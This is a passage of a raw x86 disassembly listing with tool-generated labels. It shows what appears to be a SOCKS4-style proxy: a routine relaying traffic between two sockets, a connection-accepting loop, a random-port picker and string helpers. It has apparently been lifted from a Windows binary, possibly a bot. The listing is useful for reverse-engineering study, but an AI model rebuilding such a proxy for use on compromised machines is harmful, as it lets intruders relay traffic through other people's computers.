		call	dword_417238
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE+2]
		call	dword_41721C
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_5E0], eax
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		cmp	[ebp+var_5E0], 0
		jnz	short loc_407537
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407537:				; CODE XREF: sub_40732D+1D7j
		mov	[ebp+var_5CF], 5Ah
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch


loc_407555:				; CODE XREF: sub_40732D+2FDj
		push	[ebp+var_5D4]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_4075BD
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248
		mov	[ebp+var_16E4],	eax
		cmp	[ebp+var_16E4],	0
		jz	short loc_407597
		cmp	[ebp+var_16E4],	0FFFFFFFFh
		jnz	short loc_40759C


loc_407597:				; CODE XREF: sub_40732D+25Fj
		jmp	loc_40762F
; ---------------------------------------------------------------------------


loc_40759C:				; CODE XREF: sub_40732D+268j
		push	[ebp+var_16E4]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4075BD
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_4075BD:				; CODE XREF: sub_40732D+236j
					; sub_40732D+28Cj
		push	[ebp+var_5E0]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_407622
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	dword_417248
		mov	[ebp+var_16E8],	eax
		cmp	[ebp+var_16E8],	0
		jz	short loc_4075FF
		cmp	[ebp+var_16E8],	0FFFFFFFFh
		jnz	short loc_407601


loc_4075FF:				; CODE XREF: sub_40732D+2C7j
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407601:				; CODE XREF: sub_40732D+2D0j
		push	[ebp+var_16E8]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407622
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407622:				; CODE XREF: sub_40732D+29Ej
					; sub_40732D+2F1j
		push	32h
		call	dword_41709C
		jmp	loc_407555
; ---------------------------------------------------------------------------


loc_40762F:				; CODE XREF: sub_40732D:loc_407597j
					; sub_40732D+28Ej ...
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_40538D
		pop	ecx
		xor	eax, eax

locret_407649:				; CODE XREF: sub_40732D+64j
					; sub_40732D+16Ej ...
		leave
		retn	4
sub_40732D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40764D	proc near		; DATA XREF: sub_4077DD+B4o

var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		push	1
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jnz	short loc_4076A8
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4077D9
; ---------------------------------------------------------------------------


loc_4076A8:				; CODE XREF: sub_40764D+46j
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset dword_418EF8
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4076CB:				; CODE XREF: sub_40764D+B9j
					; sub_40764D+E1j ...
		push	3E8h
		push	[ebp+var_1C4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4076F8
		cmp	[ebp+var_1C8], 0
		jnz	short loc_4076FD


loc_4076F8:				; CODE XREF: sub_40764D+A0j
		jmp	loc_4077BF
; ---------------------------------------------------------------------------


loc_4076FD:				; CODE XREF: sub_40764D+A9j
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jnz	short loc_407708
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407708:				; CODE XREF: sub_40764D+B7j
		push	1BDh
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_1CC], eax
		cmp	[ebp+var_1CC], 0
		jnz	short loc_407730
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407730:				; CODE XREF: sub_40764D+D3j
		mov	eax, [ebp+var_1CC]
		mov	ecx, [ebp+var_1C8]
		mov	[eax], ecx
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 4
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1B6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 0Ah
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	1A3h
		lea	eax, [ebp+var_1A6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 1Ah
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+var_1CC]
		push	offset sub_40732D
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4077BA
		push	[ebp+var_1CC]
		call	sub_416B4C
		pop	ecx
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_4077BA:				; CODE XREF: sub_40764D+153j
		jmp	loc_4076CB
; ---------------------------------------------------------------------------


loc_4077BF:				; CODE XREF: sub_40764D:loc_4076F8j
		push	[ebp+var_1C4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4077D9:				; CODE XREF: sub_40764D+56j
		leave
		retn	4
sub_40764D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077DD	proc near		; CODE XREF: sub_40A9CF+17Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40780F
		push	0Ah
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_4], eax


loc_40780F:				; CODE XREF: sub_4077DD+Aj
		push	1BDh
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_407825
		jmp	short locret_40789E
; ---------------------------------------------------------------------------


loc_407825:				; CODE XREF: sub_4077DD+44j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_407844
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax
		jmp	short loc_40784B
; ---------------------------------------------------------------------------


loc_407844:				; CODE XREF: sub_4077DD+5Dj
		mov	[ebp+var_10], offset byte_41DF10


loc_40784B:				; CODE XREF: sub_4077DD+65j
		push	10h
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		add	eax, 0Ah
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 1Ah
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	offset dword_418F2C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	offset sub_40764D
		call	sub_4095A4
		add	esp, 14h

locret_40789E:				; CODE XREF: sub_4077DD+46j
		leave
		retn
sub_4077DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078A0	proc near		; CODE XREF: sub_40A9CF+216p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4078B8
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078B8:				; CODE XREF: sub_4078A0+14j
					; sub_4078A0:loc_4078E2j
		cmp	[ebp+var_4], 0
		jnz	short loc_4078C0
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078C0:				; CODE XREF: sub_4078A0+1Cj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_4078E0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		jmp	short loc_4078E2
; ---------------------------------------------------------------------------


loc_4078E0:				; CODE XREF: sub_4078A0+33j
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078E2:				; CODE XREF: sub_4078A0+3Ej
		jmp	short loc_4078B8
; ---------------------------------------------------------------------------

locret_4078E4:				; CODE XREF: sub_4078A0+16j
					; sub_4078A0+1Ej ...
		leave
		retn
sub_4078A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078E6	proc near		; CODE XREF: sub_407D42+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4078FC
; ---------------------------------------------------------------------------


loc_4078F5:				; CODE XREF: sub_4078E6:loc_407921j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4078FC:				; CODE XREF: sub_4078E6+Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407923
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_407921
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407921:				; CODE XREF: sub_4078E6+32j
		jmp	short loc_4078F5
; ---------------------------------------------------------------------------


loc_407923:				; CODE XREF: sub_4078E6+21j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407928	proc near		; CODE XREF: sub_40E618+2Bp
					; sub_40E618+185p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jnz	short loc_407963
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_8]
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_C]
		call	sub_416B6A
		add	esp, 0Ch
		xor	eax, eax
		jmp	locret_407A54
; ---------------------------------------------------------------------------


loc_407963:				; CODE XREF: sub_407928+Aj
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+arg_0]
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	[ebp+var_8], 1
		jmp	short loc_4079A1
; ---------------------------------------------------------------------------


loc_40799A:				; CODE XREF: sub_407928:loc_407A4Cj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4079A1:				; CODE XREF: sub_407928+70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jge	loc_407A51
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4-4], 0
		jz	short loc_407A0A
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_8]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_4079F8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+eax*4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------


loc_4079F8:				; CODE XREF: sub_407928+B8j
		and	[ebp+var_C], 0


loc_4079FC:				; CODE XREF: sub_407928+CEj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax*4], edx
		jmp	short loc_407A4C
; ---------------------------------------------------------------------------


loc_407A0A:				; CODE XREF: sub_407928+90j
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		dec	eax
		jmp	short locret_407A54
; ---------------------------------------------------------------------------


loc_407A4C:				; CODE XREF: sub_407928+E0j
		jmp	loc_40799A
; ---------------------------------------------------------------------------


loc_407A51:				; CODE XREF: sub_407928+7Fj
		mov	eax, [ebp+arg_10]

locret_407A54:				; CODE XREF: sub_407928+36j
					; sub_407928+122j
		leave
		retn
sub_407928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A56	proc near		; CODE XREF: sub_401146+6Bp
					; sub_401146+CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_407A81
		cmp	ecx, 1
		jz	short loc_407A7E


loc_407A6E:				; CODE XREF: sub_407A56+26j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_407A81
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_407A6E


loc_407A7E:				; CODE XREF: sub_407A56+16j
		mov	byte ptr [edi],	0


loc_407A81:				; CODE XREF: sub_407A56+11j
					; sub_407A56+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A86	proc near		; CODE XREF: sub_4097A7+17p
					; sub_4098F3+17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407A97
; ---------------------------------------------------------------------------


loc_407A90:				; CODE XREF: sub_407A86+3Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407A97:				; CODE XREF: sub_407A86+8j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407AC6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_407AC2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jg	short loc_407AC2
		jmp	short loc_407A90
; ---------------------------------------------------------------------------


loc_407AC2:				; CODE XREF: sub_407A86+2Aj
					; sub_407A86+38j
		xor	al, al
		jmp	short locret_407AC8
; ---------------------------------------------------------------------------


loc_407AC6:				; CODE XREF: sub_407A86+1Cj
		mov	al, 1

locret_407AC8:				; CODE XREF: sub_407A86+3Ej
		leave
		retn
sub_407A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407ACA	proc near		; CODE XREF: sub_401000+F6p
					; sub_4148CE+61p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_8]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		jmp	short loc_407AED
; ---------------------------------------------------------------------------


loc_407AE6:				; CODE XREF: sub_407ACA:loc_407B58j
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_407AED:				; CODE XREF: sub_407ACA+1Aj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		cmp	[ebp+var_C], eax
		jg	short loc_407B5A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	short loc_407B58


loc_407B37:				; CODE XREF: sub_407ACA+3Fj
					; sub_407ACA+55j
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407B58
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		jmp	short locret_407B5C
; ---------------------------------------------------------------------------


loc_407B58:				; CODE XREF: sub_407ACA+6Bj
					; sub_407ACA+84j
		jmp	short loc_407AE6
; ---------------------------------------------------------------------------


loc_407B5A:				; CODE XREF: sub_407ACA+2Cj
		xor	eax, eax

locret_407B5C:				; CODE XREF: sub_407ACA+8Cj
		leave
		retn
sub_407ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B5E	proc near		; CODE XREF: sub_40A2D2+11Dp
					; sub_40E943+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407B70
; ---------------------------------------------------------------------------


loc_407B69:				; CODE XREF: sub_407B5E:loc_407BEEj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407B70:				; CODE XREF: sub_407B5E+9j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407B85
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407B85:				; CODE XREF: sub_407B5E+1Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_407BA1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_407BEE


loc_407BA1:				; CODE XREF: sub_407B5E+33j
		and	[ebp+var_8], 0
		jmp	short loc_407BAE
; ---------------------------------------------------------------------------


loc_407BA7:				; CODE XREF: sub_407B5E:loc_407BECj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407BAE:				; CODE XREF: sub_407B5E+47j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Dh
		jz	short loc_407BD2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Ah
		jnz	short loc_407BE1


loc_407BD2:				; CODE XREF: sub_407B5E+60j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		and	byte ptr [ecx+eax], 0
		jmp	short loc_407BEC
; ---------------------------------------------------------------------------


loc_407BE1:				; CODE XREF: sub_407B5E+72j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407BEC:				; CODE XREF: sub_407B5E+81j
		jmp	short loc_407BA7
; ---------------------------------------------------------------------------


loc_407BEE:				; CODE XREF: sub_407B5E+41j
		jmp	loc_407B69
; ---------------------------------------------------------------------------

locret_407BF3:				; CODE XREF: sub_407B5E+25j
					; sub_407B5E+8Cj
		leave
		retn
sub_407B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BF5	proc near		; CODE XREF: sub_411A09+5Dp
					; sub_411A09+F3p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_407BF8:				; CODE XREF: sub_407BF5:loc_407C28j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		inc	ecx
		mov	[ebp+arg_0], ecx
		test	eax, eax
		jz	short loc_407C2A
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407C15
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C15:				; CODE XREF: sub_407BF5+1Cj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C28
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C28:				; CODE XREF: sub_407BF5+29j
		jmp	short loc_407BF8
; ---------------------------------------------------------------------------


loc_407C2A:				; CODE XREF: sub_407BF5+12j
					; sub_407BF5+1Ej ...
		pop	ebp
		retn
sub_407BF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C2C	proc near		; CODE XREF: sub_4083AD+2F2p
					; sub_40CA29+91p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_407C49
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_407C2C+31j
					; sub_407C2C:loc_407CCDj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407C49:				; CODE XREF: sub_407C2C+14j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C68
		cmp	[ebp+var_C], 0
		jz	short loc_407C5F
		jmp	short loc_407C42
; ---------------------------------------------------------------------------


loc_407C5F:				; CODE XREF: sub_407C2C+2Fj
		mov	[ebp+var_C], 1
		jmp	short loc_407C6C
; ---------------------------------------------------------------------------


loc_407C68:				; CODE XREF: sub_407C2C+29j
		and	[ebp+var_C], 0


loc_407C6C:				; CODE XREF: sub_407C2C+3Aj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407CCD
		cmp	[ebp+arg_8], 0
		jz	short loc_407CCB
		cmp	[ebp+var_8], 0
		jz	short loc_407CCB


loc_407C9C:				; CODE XREF: sub_407C2C:loc_407CC9j
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_407CCB
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407CC7
		cmp	[ebp+var_8], 0
		jnz	short loc_407CC9


loc_407CC7:				; CODE XREF: sub_407C2C+93j
		jmp	short loc_407CCB
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_407C2C+99j
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------


loc_407CCB:				; CODE XREF: sub_407C2C+68j
					; sub_407C2C+6Ej ...
		jmp	short locret_407CD2
; ---------------------------------------------------------------------------


loc_407CCD:				; CODE XREF: sub_407C2C+62j
		jmp	loc_407C42
; ---------------------------------------------------------------------------

locret_407CD2:				; CODE XREF: sub_407C2C:loc_407CCBj
		leave
		retn
sub_407C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CD4	proc near		; CODE XREF: sub_407D42+5Fp
					; sub_407D42+79p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407CE5
; ---------------------------------------------------------------------------


loc_407CDE:				; CODE XREF: sub_407CD4+68j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407CE5:				; CODE XREF: sub_407CD4+8j
		cmp	[ebp+var_4], 4
		jge	short loc_407D3E
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jnz	short loc_407D0E
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D0E:				; CODE XREF: sub_407CD4+23j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407D2C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D2C:				; CODE XREF: sub_407CD4+45j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_407CDE
; ---------------------------------------------------------------------------


loc_407D3E:				; CODE XREF: sub_407CD4+15j
		xor	eax, eax

